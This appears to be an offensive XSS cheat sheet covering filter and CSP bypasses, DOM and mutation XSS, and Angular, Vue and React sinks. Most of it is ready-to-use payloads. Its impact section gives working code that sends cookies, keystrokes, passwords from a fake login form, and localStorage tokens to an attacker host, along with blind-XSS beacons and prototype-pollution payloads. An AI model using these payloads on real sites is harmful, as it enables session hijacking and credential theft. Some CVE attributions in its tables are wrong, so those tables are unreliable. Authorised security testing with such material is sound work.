XSS — Bypasses, Angular / Vue / React
XSS is still the most commonly reported web bug class in 2026, but it's moved. Old-school reflected <script> injection is mostly gone from modern apps. Today's XSS lives in filter bypasses, CSP gaps, DOM sinks, and framework template engines where developer intent and framework semantics diverge. This note skips the 101 and goes where the real findings are.
Detection
Fast probes
# Reflection check — unique marker, grep the response
curl -s "$TARGET/search?q=xss_test_$(date +%s)" | grep 'xss_test_'
# Where is it reflected? Context determines payload:
# <input value="PAYLOAD"> → attribute context
# <script>var q = "PAYLOAD";</script> → JS string context
# <script>var q = PAYLOAD;</script> → raw JS (rare)
# <a href="PAYLOAD"> → URL context
# <div>PAYLOAD</div> → HTML context (easiest)
# <div data-x="PAYLOAD"> → attribute (rarely safe — framework handlers)
Context-aware first payloads
<!-- HTML context -->
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">
<!-- Attribute context — break out -->
"><svg onload=alert(1)>
' onfocus=alert(1) autofocus='
" autofocus onfocus=alert(1) x="
<!-- JS string context -->
";alert(1);//
\";alert(1);//
`;alert(1);// ← template literal
<!-- URL context -->
javascript:alert(1)
javascript:alert(1)
jaVAscript:alert(1)
data:text/html,<script>alert(1)</script>
<!-- CSS context (style attribute) -->
expression(alert(1)) ← IE only, dead
background:url("javascript:alert(1)")
Blind XSS
Reflection doesn't tell you the whole story. Stored XSS that fires in an admin panel won't show in your session. Use a beacon:
<!-- XSS Hunter-style payload — lands wherever the data ends up rendered -->
"><script src="https://xss.attacker.tld/x"></script>
Self-hosted: Project Discovery's interactsh-client, or XSSHunter Express on a VPS. Plant the payload in every free-text field you see (user names, addresses, support tickets, referrer headers, user-agent, filenames).
XSS via every header
Test:
User-Agent: <img src=x onerror=alert(1)>
Referer: https://evil.tld/<svg onload=alert(1)>
X-Forwarded-For: <img src=x onerror=alert(1)>
Accept-Language: <svg onload=alert(1)>
Admin dashboards that render access logs (unsanitised) eat these for breakfast.
Filter Bypass Cookbook
Tag-name blocklist (<script> blocked)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<iframe srcdoc="<svg onload=alert(1)>">
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<math><maction actiontype=statusline#"><script>alert(1)</script>
Event-handler blocklist
<svg><a><text>hello</text><animate attributeName=href values=javascript:alert(1) /></a></svg>
<svg><use href=#x /><symbol id=x><foreignObject><iframe src=javascript:alert(1)></iframe></foreignObject></symbol></svg>
javascript: URL blocklist
<a href="java	script:alert(1)">x</a>
<a href="java
script:alert(1)">x</a>
<a href="jav
ascript:alert(1)">x</a>
<a href="javascript:alert(1)">x</a>
<!-- SVG + xlink:href -->
<svg><a xlink:href="javascript:alert(1)"><text x=0 y=20>x</text></a></svg>
Quote stripping (" and ' blocked)
<svg onload=alert(1)> ← no quotes needed at all
<svg onload=alert`1`> ← template literal instead of parens
<svg onload=alert(1)> ← HTML-encoded parens
<svg onload=confirm(1)> ← use a different function if alert blocked
Parenthesis blocked
<svg onload=alert`1`> ← backticks (function call tag)
<svg onload=window.alert`1`>
<svg onload=eval`alert(1)`>
<svg onload=location=name> ← no parens at all; set location to window.name
Alphanumeric / "no letters" filter (extreme case)
// Classic JSFuck — everything becomes []()!+
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]
// 'alert(1)' in JSFuck is about 3500 characters. Works.
// Online converter: http://www.jsfuck.com/
Length-restricted inputs
<svg a=1 onload=alert(1)> ← ~25 chars
<svg onload=alert(1)> ← 20 chars
<s onload=alert(1)> ← 18 chars, <s> is valid
Case-sensitivity and case folding
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x ONERROR=alert(1)>
Always try mixed case first before anything clever — 5% of WAF rules still fail here in 2026.
Unicode / normalisation
<img src=x onerror=alert(1)> ← zero-width joiner inside "onerror" — some filters miss
<img src=x \u006fnerror=alert(1)>
<a href="javas%09cript:alert(1)">x</a> ← tab inside scheme
<a href="javas\tcript:alert(1)">x</a>
DOM-decoded contexts
If the server blocks < and > but the content lands inside a JS template literal that gets fed into innerHTML client-side, DOM decoding gives you another shot:
Server reflects: \u003cimg src=x onerror=alert(1)\u003e
Client runs: el.innerHTML = `...\u003cimg...`; → decoded → XSS
CSP Bypass
CSP headers prevent inline script, but every CSP has a hole. Find the hole, not the script tag.
Find the policy
curl -sI "$TARGET/" | grep -i content-security-policy
Bypass patterns
Unsafe-inline is allowed → any classic payload works.
script-src 'self' → find a JSONP endpoint, a callback= parameter, or an exposed .js file on the origin:
<script src="/api/jsonp?callback=alert(1);//"></script>
<script src="/uploads/innocent.jpg"></script> ← if you can upload and the filter sniffs not content-type
Google / CDN whitelisted → notorious bypass chain:
<!-- Google CDN Angular still served old Angular with known bypass -->
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.js"></script>
<div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div>
script-src 'nonce-XXX' without strict-dynamic:
<!-- If you can inject a script tag, hunt for <base> and rebase scripts -->
<base href="https://attacker.tld/">
<!-- Then any relative script src becomes attacker-controlled -->
strict-dynamic without nonce propagation — check for a script sink that doesn't inherit the nonce (JSONP callbacks, document.write of an existing trusted script).
Dangling markup (no JS required to exfil)
CSP blocks scripts. It doesn't block <img> src hitting attacker.tld:
<img src="https://attacker.tld/log?data=
Everything after that in the DOM gets swallowed into the image URL until the next > — including CSRF tokens, user data, whatever.
Variants:
<form action=https://attacker.tld/log>
<textarea>
<title>
<style>
Script gadgets (trusted-script reuse)
Many apps ship a framework with helper functions that eval / innerHTML arbitrary strings. Find them, feed them attacker data. See Lekies et al. — "Code-Reuse Attacks for the Web", or the modern cheat sheet at github.com/google/security-research-pocs.
DOM XSS
Source → sink mapping. The server may be perfectly fine; JavaScript does the damage.
Common sources (attacker-controlled)
location.href
location.hash
location.search
location.pathname
document.URL
document.documentURI
document.referrer
window.name
postMessage event.data
localStorage.getItem(...)
indexedDB
URL fragments passed to a router
Common sinks (execute arbitrary code/HTML)
eval(source)
Function(source)()
setTimeout(source, 0)
setInterval(source, 0)
document.write(source)
document.writeln(source)
element.innerHTML = source
element.outerHTML = source
element.insertAdjacentHTML('beforeend', source)
location.href = source ← only if source starts with "javascript:"
location.assign(source)
location.replace(source)
window.open(source)
// React-specific
dangerouslySetInnerHTML={{__html: source}}
// Vue-specific
v-html="source"
// Angular-specific
[innerHTML]="source" ← sanitised, but see below
bypassSecurityTrustHtml(source)
DOM XSS lab flow
// Open DevTools → Sources → use "Search all files" for sinks:
// innerHTML =
// .write(
// eval(
// Function(
// dangerouslySetInnerHTML
// Set a DOM breakpoint on the node, reload with #payload in the hash
// Step back up the call stack — find the assignment
// Trigger
window.location.hash = '<img src=x onerror=alert(1)>';
postMessage injection
A cross-origin postMessage handler that doesn't check event.origin is one of the highest-value XSS surfaces on the modern web — CSP-bypassing, nonce-inheriting, fully origin-bound.
// Attacker frame
const win = window.open('https://target.tld');
setTimeout(() => {
win.postMessage({html: '<img src=x onerror=alert(document.domain)>'}, '*');
}, 2000);
Test: grep the target's JS for addEventListener('message':
grep -rn "addEventListener.*message" ./js
Any handler that does element.innerHTML = event.data.html (or similar) is vulnerable if it doesn't validate origin.
Mutation XSS (mXSS)
Browsers rewrite HTML after parsing. Something the sanitizer saw as safe may mutate into unsafe after insertion. Classic:
<!-- Passes most sanitizers — no script, no events -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- Inside innerHTML in an already-loaded page, <noscript> body is parsed as
HTML, closing the title attribute and releasing the img tag. -->
Others to test:
<svg><p><style><img src="</style><img src=x onerror=alert(1)>">
<svg><xss style="x:expression(alert(1))">
<listing><img src=x onerror=alert(1)></listing>
mXSS CVEs hit DOMPurify repeatedly (2020, 2022, 2023, 2024). If the target uses an old DOMPurify version, try known PoCs before writing your own.
Angular (2.x–17+)
Modern Angular is aggressive about output escaping — by default you can't XSS through {{expression}}. What you can do:
[innerHTML] / bypassSecurityTrust* sinks
// Vulnerable if `html` is attacker-controlled
this.content = this.sanitizer.bypassSecurityTrustHtml(untrusted);
// Template:
<div [innerHTML]="content"></div>
Any call to bypassSecurityTrust* on user data is an XSS primitive. Grep the app:
grep -rn 'bypassSecurityTrust' src/
Angular template injection
If the server-side (or another JS layer) concatenates user input into an Angular template string, you can inject Angular expressions that execute:
<!-- Reflected directly into a template -->
{{constructor.constructor('alert(1)')()}}
This is the classic Angular sandbox escape (pre-1.6). Angular 1.6+ removed the sandbox and declared it "not a security boundary" — which in practice means any template injection is direct JS execution:
{{$eval.constructor('alert(1)')()}}
{{[].pop.constructor('alert(1)')()}}
{{toString.constructor('alert(1)')()}}
Search for apps still using AngularJS 1.x — they're everywhere in enterprise, and any template injection is XSS.
Angular 2+ @angular/platform-browser abuse
Angular 2+ uses strict rendering, but [innerHTML] gets sanitised via DomSanitizer. Known sanitizer bugs have shipped:
| CVE | Year | Effect |
|---|---|---|
| CVE-2024-21490 | 2024 | Template injection in @angular/core <17.3.0 via form validators |
| CVE-2021-21277 | 2021 | setAttribute bypass in older IVY |
Test:
<iframe srcdoc="<svg onload=alert(1)>"></iframe> ← sanitiser lets srcdoc through in some versions
<a href="javascript:alert(1)">click</a> ← link sanitisation bypass via url = "jav\tascript:"
SSR-injected template (rare but critical)
Angular Universal / Nest with server-rendered templates has had injection bugs where a user parameter lands inside a template string before compilation:
<!-- If this string is assembled server-side with user input -->
`<h1>Welcome {{user.name}}</h1>`
<!-- User sets their name to: -->
}} <script>alert(1)</script> {{
Result: pre-compilation template injection → full JS execution.
Vue (2.x / 3.x)
v-html sink
<div v-html="userBio"></div>
Vue does not sanitise v-html. If userBio is attacker-controlled, you have XSS. Grep:
grep -rn 'v-html=' src/
grep -rn 'innerHTML' src/
Vue template injection
Vue templates are compiled to render functions. User data interpolated into template strings (not bound to {{}}) becomes Vue code:
// Server-side renders this template with user's display name
const template = `<h1>Hello {{ name }}</h1>`;
// User name = '}}<img src=x @error=alert(1) />{{'
// → template becomes: <h1>Hello }}<img src=x @error=alert(1) />{{</h1>
// → evaluates in the Vue context at mount time.
Vue 3 <component :is>
<component :is="userChoice"></component>
If userChoice resolves to a registered component name, attacker picks which component renders. Chain with a debug/admin component that renders raw HTML to get XSS.
Known Vue CVEs
- CVE-2024-6783 — vue-template-compiler SSR injection.
- CVE-2024-9506 — Nuxt DOM XSS via devtools in dev mode left on in prod.
Vuex / Pinia state bleed
If state is deserialised from localStorage and rendered with v-html, a cross-tab attacker (via another XSS) can seed the state. Attack chain: one small HTML-only injection → store poisoning → full XSS on next load.
React
React is the hardest of the three to XSS — JSX auto-escapes everything. The targets:
dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{__html: userHTML}} />
The only HTML sink in React. Grep every codebase you audit:
grep -rn "dangerouslySetInnerHTML" src/
Each hit is a potential finding if the source isn't sanitised. Verify with DOMPurify version — stale DOMPurify is a classic chain to mXSS.
href / src / formAction with javascript:
<a href={userUrl}>click</a>
Pre-React 16.8 this let javascript: URLs through. 16.9+ warns but doesn't block. 17+ does not block javascript: in href — they decided it was developer responsibility. Still exploitable.
<a href="javascript:alert(1)">still works</a>
Grep for href={ / src={ / action={ where the value is user-derived.
React.createElement with attacker data
Rare but devastating:
React.createElement(userTag, {dangerouslySetInnerHTML: {__html: userHTML}})
Server-side rendering (SSR / Next.js)
Next's getServerSideProps can return raw HTML that a dangerouslySetInnerHTML consumes. The SSR'd HTML is also rendered on first paint before hydration — which means XSS fires even with JS disabled.
Next.js-specific issues:
Scripttag withdangerouslySetInnerHTML— bypass CSP nonce.- API routes returning HTML with wrong Content-Type — rendered inline.
- Middleware that rewrites
res.body— any injection there reaches the SSR output.
Relevant React CVEs
- CVE-2024-28863 — Next.js image optimiser abused for XSS via SVG response.
- CVE-2023-46129 — nextjs middleware cache poisoning leads to stored XSS across users.
Stored XSS — Where to Plant
Any place the app stores user-controlled content and later renders it. The high-yield fields:
| Field | Often unsafe because |
|---|---|
| Username / display name | Rendered in header, navbar, emails (admin dashboards especially) |
| Used in Gravatar / profile / email subject lines | |
| Profile bio / "about me" | Often v-html / dangerouslySetInnerHTML'd |
| Support ticket title + body | Rendered in admin panel with looser sanitisation |
| Uploaded file filename | Rendered in dashboards as link text |
| Referer / User-Agent | Rendered in access logs in admin views |
| SVG upload content | Rendered as inline SVG → <script> inside |
| Markdown comments | Markdown renderers differ wildly in strictness |
| Git commit messages (dev tools) | Rendered in activity feeds |
OAuth state / redirect_uri | Reflected in error pages |
SVG → XSS
SVG files are HTML-ish. <script> inside an SVG executes if the SVG is rendered inline (<svg> tag, not <img src="file.svg">):
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
Upload as logo.svg → check if rendered inline anywhere. Avatars and company logos regularly are.
Markdown-XSS
Markdown renderers that allow raw HTML pass-through:
[click me](javascript:alert(1))
<img src=x onerror=alert(1)>
[ref]: javascript:alert(1)
[click me][ref]
marked.js <2.0 allowed all three. Newer versions block javascript: but not data URIs:
[click me](data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==)
Exploit Payloads Beyond alert(1)
alert(1) proves the bug exists. The PoC should prove impact.
Steal the session cookie
fetch('https://attacker.tld/log?c=' + encodeURIComponent(document.cookie));
Doesn't work if cookie is HttpOnly.
Key-log + beacon
document.addEventListener('keydown', e => {
fetch('https://attacker.tld/k?k=' + e.key);
});
Phishing via fake form overlay
document.body.innerHTML = `
<form action="https://attacker.tld/steal">
<h1>Session expired — please log in again</h1>
<input name=user placeholder=username>
<input name=pass type=password placeholder=password>
<button>Log in</button>
</form>
`;
Session bypass via localStorage token exfil
Many SPAs store JWTs in localStorage. HttpOnly doesn't apply:
fetch('https://attacker.tld/jwt?t=' + localStorage.getItem('token'));
CSRF amplifier (same-origin XHR)
fetch('/api/user/email', {
method: 'PUT',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.tld'})
});
// Now password reset goes to the attacker.
RCE-adjacent pivots
- Admin-panel stored XSS → trigger arbitrary ops → app-level RCE (file upload, plugin install, config write).
- Cloud IDE / notebook XSS →
navigator.clipboard.writeText+ social engineering → code execution on the developer's machine. - Electron / Tauri app XSS →
require('child_process').exec(...)→ desktop RCE.
Recent XSS / Framework CVEs
| CVE | Product | Notes |
|---|---|---|
| CVE-2024-4367 | PDF.js (Mozilla) | RCE via eval in font loader. Renders any XSS on top of PDF viewer. |
| CVE-2024-28863 | Next.js | Image optimiser — SVG content passed through as response |
| CVE-2024-21490 | Angular | Template injection via form validators |
| CVE-2024-6783 | Vue SSR | Template injection in vue-template-compiler |
| CVE-2024-47875 | DOMPurify <3.2.4 | mXSS bypass — known payload on PortSwigger |
| CVE-2024-45409 | Ruby-SAML | Signature bypass that led to post-auth XSS on many apps |
| CVE-2024-45310 | Astro | Markdown renderer XSS |
| CVE-2025-23242 | Nextcloud Text | Markdown → HTML XSS in collaborative editor |
| CVE-2023-48795 | Electron | Terrapin-like issue in IPC, used for XSS → RCE chain |
DOMPurify Survival Guide
DOMPurify is the de-facto HTML sanitizer for modern apps. Fingerprint it first:
// Check version in the page
DOMPurify.version // in DevTools console
Then match your bypass:
| Version range | Known bypass |
|---|---|
| <2.0.17 | <noscript> + <p title= mXSS |
| <2.2.5 | <template> mXSS |
| <2.3.4 | Math <mglyph> mXSS |
| <3.0.2 | <form><input name="outerHTML"> prototype pollution bridge |
| <3.2.4 | Namespace confusion mXSS (CVE-2024-47875) |
Payloads maintained at cure53/DOMPurify and masatokinugawa/filterBypass. Worth grabbing before every engagement.
Prototype Pollution → XSS
Modern web apps frequently chain prototype pollution into XSS. The pollution sets a default on Object.prototype that a downstream template consumer reads as user data.
// Sink — the app calls a sanitiser that reads options.allowedTags
DOMPurify.sanitize(user_html, {ALLOWED_TAGS: allowedTags});
// Pollution source:
JSON.parse('{"__proto__":{"ALLOWED_TAGS":["script"]}}');
// Now DOMPurify "allows" <script>.
Grep for merge, extend, assign (Object.assign), and defaultsDeep — especially in older lodash versions. Chain with a single URL parameter that the app reads and merges.
Test tool: PPScan (Burp extension), or run your own with a payload like:
/?__proto__[ALLOWED_TAGS][]=script
/?constructor[prototype][allowedTags][]=script
Quick Reference
<!-- Shortest possible payload that fires in modern browsers -->
<svg onload=alert(1)>
<!-- No quotes / no parens -->
<svg onload=alert`1`>
<!-- Attribute break-out -->
" onfocus=alert(1) autofocus x="
<!-- JavaScript string break-out -->
';alert(1);//
<!-- URL context -->
javascript:alert(1)
<!-- Framework-specific -->
{{constructor.constructor('alert(1)')()}} <!-- AngularJS 1.x -->
<div v-html="'<img src=x onerror=alert(1)>'"></div> <!-- Vue -->
<div dangerouslySetInnerHTML={{__html:'<img src=x onerror=alert(1)>'}}/> <!-- React -->
# Pull every JS file, grep for sinks
wget -r -A '*.js' "https://$TARGET/"
grep -rn 'innerHTML\|dangerouslySetInnerHTML\|v-html\|bypassSecurityTrust\|eval(\|Function(' .
# DOM XSS automated scanners worth running
dalfox url "https://$TARGET/search?q=FUZZ"
xsstrike -u "https://$TARGET/search?q=test"
Pair with SQLi, SSRF, RCE, XXE. Chain XSS with CSRF or auth bugs for maximum impact in reports.